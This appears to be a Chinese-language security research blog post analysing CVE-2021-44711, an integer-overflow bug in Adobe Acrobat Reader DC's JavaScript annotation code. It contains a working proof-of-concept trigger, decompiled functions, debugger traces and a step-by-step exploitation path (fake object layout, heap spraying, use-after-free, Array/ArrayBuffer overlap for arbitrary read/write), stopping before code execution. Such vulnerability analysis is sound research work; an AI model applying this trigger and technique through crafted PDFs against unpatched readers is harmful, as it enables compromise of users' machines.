Adobe Reader 漏洞 CVE-2021-44711 利用淺析

語言: CN / TW / HK

背景

Adobe Reader 在今年 1 月份對外發布的安全補丁中,修復了一個由 Cisco Talos安全團隊報吿的安全漏洞,漏洞編號 CVE-2021-44711,經過分析,該漏洞與我們完成漏洞利用所使用的漏洞一致. 漏洞存在於與註釋進行交互的 JavaScript 代碼中, 通過構造特定的 PDF 文檔可以觸發此漏洞, 從而導致任意代碼執行.

軟件版本

Adobe Acrobat Reader DC 2021.007.20099

漏洞分析

Adobe Reader 支持在 PDF 文檔中嵌入 JavaScript 代碼以對 PDF 文檔中的註釋進行操作. 然而 JavaScript 中對註釋進行操作的 Annotation 對象在實現上存在整數溢出漏洞.

poc 如下:

var _obj = {};
_obj[-1] = null;
var _annot = this.addAnnot({page:0, type:"Line", points:_obj});

Annotation 對象的 points 屬性是一個由兩個點 [[x1, y1], [x2, y2]] 組成的數組, 指定默認用户空間中直線的起點和終點座標.

但是 JavaScript 是弱類型語言, 這意味着對於所有賦予的值都會首先嚐試轉轉換成所需的目標類型. 所以當賦予一個在索引 -1 處存在元素的數組時也會嘗試解析. 漏洞就存在於對 -1 的錯誤處理之中.

對數組的類型轉換(此處的數組、元素、類型等與 JavaScript 中的概念並不一一對應, 但具有相關性, 下文都不作嚴格區分)位於 sub_22132EC6 函數當中:

// ...

      do
      {
        v13 = (char *)(*(int (__thiscall **)(_DWORD, _DWORD))(dword_22747430 + 28))(
                        *(_DWORD *)(dword_22747430 + 28),
                        *(unsigned __int16 *)(v11 + 16));
        v14 = atoi(v13);
        v15 = v28;
        v16 = v14;
        v29 = 0x30;
        v17 = v28[1] - *v28;
        HIDWORD(v24) = *v28;
        v25 = v16;
        if ( v17 / 0x30 > v16 )
        {
          v18 = HIDWORD(v24);
        }
        else
        {
          resize(v28, v16 + 1, (int)v31);
          v18 = *v15;
          v16 = v25;
        }
        sub_2212379A(v18 + 0x30 * v16, (_DWORD *)(v11 + 0x18));
        result = sub_2212A202((int *)&v26);
        v11 = (int)v26;
      }
      while ( v26 != *v12 );

      // ...

函數當中 v13 為數組元素的索引, v17 為數組當前的總大小, 0x30 為每個元素的大小. 此處應該是以線性模式存儲數組元素, 因此數組的大小為 ArraySize = (MaxIndex + 1) * 0x30 , 因為索引 0 也要佔用空間, 所以總大小需要加 1.

當遇到索引 -1 時, 加 1 溢出為 0, 因此 resise() 函數的目標 size 為 0, 避免了重新分配過大內存導致的崩潰. 事實上, 如果 size 過大會在 resize() 函數中拋出異常:

eax=030fb738 ebx=00000030 ecx=0a8355e0 edx=00000000 esi=0a8355e0 edi=0a8355e0
eip=0adcfd1e esp=030fb710 ebp=030fb744 iopl=0         nv up ei ng nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000282
Annots!PlugInMain+0x51eee:
0adcfd1e 817d0855555505  cmp     dword ptr [ebp+8],5555555h ss:0023:030fb74c=ffffffff
0:000> p
eax=030fb738 ebx=00000030 ecx=0a8355e0 edx=00000000 esi=0a8355e0 edi=0a8355e0
eip=0adcfd25 esp=030fb710 ebp=030fb744 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
Annots!PlugInMain+0x51ef5:
0adcfd25 0f879e000000    ja      Annots!PlugInMain+0x51f99 (0adcfdc9)    [br=1]
0:000>
eax=030fb738 ebx=00000030 ecx=0a8355e0 edx=00000000 esi=0a8355e0 edi=0a8355e0
eip=0adcfdc9 esp=030fb710 ebp=030fb744 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
Annots!PlugInMain+0x51f99:
0adcfdc9 e8a9fa0000      call    Annots!PlugInMain+0x61a47 (0addf877)
0:000>
(12b4.7a4): C++ EH exception - code e06d7363 (first chance)
WARNING: Step/trace thread exited
eax=00000024 ebx=030fc328 ecx=030fae7c edx=77ec2740 esi=7a76ab50 edi=030fb1fc
eip=77ec2740 esp=030fae7c ebp=030fae8c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCallRet:
77ec2740 c3              ret

通過 resize() 函數後, 調用 sub_2212379A() 函數對當前索引指向的元素進行類型轉換. 函數的第一個參數為當前元素對象, 通過數組基址加偏移量得出, 即 v18 + 0x30 * v16 . 由於 v16-1 , 所以導致了越界訪問, 從而導致崩潰:

(628.f7c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=d62490a0 ebx=ffffffd0 ecx=ffffffd0 edx=00000000 esi=00000000 edi=ffffffd0
eip=0ae83a2d esp=0311b92c ebp=0311b954 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286
Annots!PlugInMain+0x5bfd:
0ae83a2d 833f01          cmp     dword ptr [edi],1    ds:0023:ffffffd0=????????

漏洞利用

到此為止僅僅是一個內存越界訪問的漏洞, 然而幸運的是這是一個對元素進行類型轉換的函數, 針對元素不同的類型提供了大量的轉換函數:

int __thiscall sub_221289D1(_DWORD *this, _BYTE *a2)
{
  int result; // eax

  result = (int)a2;
  *a2 = 1;
  switch ( *this )
  {
    case 0:
      result = sub_22128B51(a2);
      break;
    case 1:
      result = sub_2216D093(a2);
      break;
    case 2:
      result = sub_222657E3(a2);
      break;
    case 3:
      result = sub_22266607(a2);
      break;
    case 4:
      result = sub_222668EA((uintptr_t)this, (int)a2);
      break;
    case 5:
      result = sub_22266890(a2);
      break;
    case 6:
      result = sub_221377AC(a2);
      break;
    case 7:
      result = sub_22137970(a2);
      break;
    case 8:
      result = sub_22132C7F(a2);
      break;
    case 9:
      result = sub_221681B8(a2);
      break;
    case 0xA:
      result = sub_2213F311(a2);
      break;
    case 0xB:
      result = sub_22168060((unsigned int)this, (int)a2);
      break;
    case 0xC:
      result = sub_22170AE1(a2);
      break;
    case 0xD:
      result = sub_221754BB(a2);
      break;
    case 0xE:
      result = sub_2226621E(a2);
      break;
    case 0xF:
      result = sub_221702EF(a2);
      break;
    case 0x10:
      result = sub_22265C44(a2);
      break;
    case 0x11:
      result = sub_2226583D(a2);
      break;
    case 0x12:
      result = sub_22265338(a2);
      break;
    case 0x13:
      result = sub_2213EDB4(a2);
      break;
    case 0x14:
      result = sub_22132EC6(a2);
      break;
    case 0x15:
      result = sub_2213F9FE(a2);
      break;
    case 0x16:
      result = sub_22265065(a2);
      break;
    case 0x17:
      result = sub_222665E8(a2);
      break;
    case 0x18:
      result = sub_22265206(a2);
      break;
    case 0x19:
      result = sub_22266A83(a2);
      break;
    case 0x1A:
      result = sub_22265445(a2);
      break;
    default:
      return result;
  }
  return result;
}

這也就為我們提供了豐富的漏洞利用原語. 我們可以提前佈局內存偽造元素對象, 並通過修改功能號 *this 來調用任意一個類型轉換函數.

通常, 我們期待得到一次越界寫的機會或者 UAF 的機會. 在這個 case 中, 越界寫很難得到, 雖然在幾個分支函數中存在越界寫的可能, 但大多都難以到達或者越界寫後難以返回. 相對比來説, UAF 更為容易, 在多個分支函數中均存在對成員對象的析構. 其中最為穩定, 干擾最少的應該是功能號為 0x1a 的函數 sub_22265445 .

偽造對象與內存佈局

為了偽造元素對象, 我們需要數組被構造為一個合適的大小, 因此修改 poc 如下:

var _annot = this.addAnnot({page:0, type:"Line"});
var _obj = {};
_obj[2] = 2;
_annot.points = _obj;
_obj[-1] = null;
_annot.points = _obj;

偽造的對象只需要構造出功能號和需要 free 的目標對象指針即可:

fakelement = new Array(0x10);
fakelement[11] = 0x1a;
fakelement[12] = 0x20000048;

其在內存當中如下

|          |          |          |          |
Array Object -> +----------+----------+----------+----------+
                |          |          | capacity |  length  |
        0x10 -> +----------+----------+----------+----------+
                |          |          |          |          |
        0x20 -> +----------+----------+----------+----------+
                |          |          |          |          |
        0x30 -> +----------+----------+----------+----------+
                |          |          |          |          |
        0x40 -> +----------+----------+----------+----------+
                |          |          |          |          |
        0x50 -> +----------+----------+----------+----------+
                |          |          |          |          |
fake element -> +----------+----------+----------+----------+
                |          |          | func id  |          |
        0x70 -> +----------+----------+----------+----------+
                | free ptr |          |          |          |
        0x80 -> +----------+----------+----------+----------+
                |          |          |          |          |
        base -> +----------+----------+----------+----------+
                |          |          |          |          |

這裏的 free ptr 需要結合一個信息泄露來完成, 但是在 32 位上, 我們可以直接通過 Array 對象堆噴來得到穩定的地址 0x20000048 ; 另一方面, 通過 Array 對象可以更方便的完成後續的任意讀寫.

所以這裏我們需要完成兩次堆噴:

  • 一次是 0x1a 大小的 Array 對象, 用於通過漏洞越界訪問到我們偽造的內存當中.
  • 一次是 0x1ffd 大小的 Array 對象, 用於產生穩定的地址並得到一個 UAF 的對象進行後續利用.

任意地址讀寫

佈局完成後, 觸發漏洞我們可以得到一個位於地址 0x20000048 處的被 free 的 Array 對象.

此時我們通過 ArrayBuffer 搶佔這塊被 free 的內存, 可以實現 Array 對象和 ArrayBuffer 的 overlap.

Array 對象的 lengh 屬性與 ArrayBuffer 對象的 length 屬性在內存佈局中處於同一位置, 然而兩者的定義不同: Array 對象的 length 屬性指的是元素的個數; 而 ArrayBuffer 對象的 length 屬性則是指以 uint8 為單位的空間大小. 因此被 overlap 的 Array 對象的 length 變大, 實現了越界讀寫.

為了更進一步實現任意讀寫, 可以釋放掉被 free 的 Array 對象的下一個 Array 對象, 並用 ArrayBuffer 對象搶佔, 然後通過我們的越界讀寫能力修改 ArrayBufferlength0xffffffff .

後續

實現了任意讀寫之後, 接下來任意代碼執行的工作就比較輕鬆了. 由於沒有太多新奇的內容, 本文就不再贅述.

總結

本文對 CVE-2021-44711 漏洞進行了分析並介紹了一種利用方式. 由於漏洞本身的特性可能還存在許多其他的利用方式和需要改進的地方, 例如能不能通過越界寫而不是 UAF 的方式、堆噴能不能由兩次改為一次、任意地址讀寫實現的其他方式等都還可以進行探索. 本文中可能出錯的地方還望能夠指正.